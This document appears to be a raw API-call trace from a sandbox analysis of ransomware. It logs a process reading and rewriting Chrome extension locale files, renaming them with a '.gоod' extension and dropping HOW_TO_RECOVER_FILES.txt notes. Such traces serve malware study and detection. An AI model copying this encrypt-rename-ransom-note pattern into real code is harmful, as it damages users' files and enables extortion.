GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json", lpFilePart=0x0) returned 0x89 [0228.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0228.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.487] GetFileType (hFile=0x82c) returned 0x1 [0228.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0228.487] GetFileType (hFile=0x82c) returned 0x1 [0228.487] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe0 [0228.487] ReadFile (in: hFile=0x82c, lpBuffer=0x35e5390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x35e5390*, lpNumberOfBytesRead=0x1f6e7648*=0xe0, lpOverlapped=0x0) returned 1 [0228.488] CloseHandle (hObject=0x82c) returned 1 [0229.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json", lpFilePart=0x0) returned 0x89 [0229.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0229.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0229.656] GetFileType (hFile=0x864) returned 0x1 [0229.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0229.656] GetFileType (hFile=0x864) returned 0x1 [0229.656] WriteFile (in: hFile=0x864, lpBuffer=0x3696868*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3696868*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0229.657] CloseHandle (hObject=0x864) returned 1 [0229.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json", lpFilePart=0x0) returned 0x89 [0229.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0229.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0229.657] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551fe740, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55200e38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x85185524, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0229.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0229.813] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.gоod")) returned 1 [0231.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0231.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0231.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0231.181] GetFileType (hFile=0x864) returned 0x1 [0231.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0231.181] GetFileType (hFile=0x864) returned 0x1 [0231.182] WriteFile (in: hFile=0x864, lpBuffer=0x3858330*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3858330*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0231.183] CloseHandle (hObject=0x864) returned 1 [0231.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0231.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpFilePart=0x0) returned 0x7b [0231.183] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5520aa75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5520f8cf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5520f8cf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0231.183] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5520aa75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5520f8cf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5520f8cf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.184] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5520f8cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552146b8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0231.184] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0231.184] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0231.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0231.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0231.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0231.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpFilePart=0x0) returned 0x7b [0231.184] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5520aa75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5520f8cf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5520f8cf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0231.184] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5520aa75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5520f8cf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5520f8cf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.184] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5520f8cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552146b8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0231.185] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5520f8cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552146b8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0231.185] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0231.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0231.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0231.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json", lpFilePart=0x0) returned 0x89 [0231.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0231.185] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3868300 | out: lpFileInformation=0x3868300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5520f8cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552146b8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0231.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0231.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json", lpFilePart=0x0) returned 0x89 [0231.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0231.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.185] GetFileType (hFile=0x864) returned 0x1 [0231.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0231.186] GetFileType (hFile=0x864) returned 0x1 [0231.186] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe0 [0231.186] ReadFile (in: hFile=0x864, lpBuffer=0x3868798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3868798*, lpNumberOfBytesRead=0x1f6e7648*=0xe0, lpOverlapped=0x0) returned 1 [0231.186] CloseHandle (hObject=0x864) returned 1 [0231.251] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json", lpFilePart=0x0) returned 0x89 [0231.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0231.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.252] GetFileType (hFile=0x834) returned 0x1 [0231.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0231.252] GetFileType (hFile=0x834) returned 0x1 [0231.253] WriteFile (in: hFile=0x834, lpBuffer=0x370dcd0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x370dcd0*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0231.253] CloseHandle (hObject=0x834) returned 1 [0231.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json", lpFilePart=0x0) returned 0x89 [0231.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0231.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0231.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5520f8cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552146b8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x860ca260, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0231.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0231.254] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.gоod")) returned 1 [0231.254] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0231.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0231.255] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0231.255] GetFileType (hFile=0x834) returned 0x1 [0231.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0231.255] GetFileType (hFile=0x834) returned 0x1 [0231.256] WriteFile (in: hFile=0x834, lpBuffer=0x3711608*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3711608*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0231.257] CloseHandle (hObject=0x834) returned 1 [0231.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0231.257] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpFilePart=0x0) returned 0x7b [0231.257] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5521bc05, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5521e318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5521e318, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0231.257] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5521bc05, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5521e318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5521e318, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.257] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5521e318, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55220a08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0231.258] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 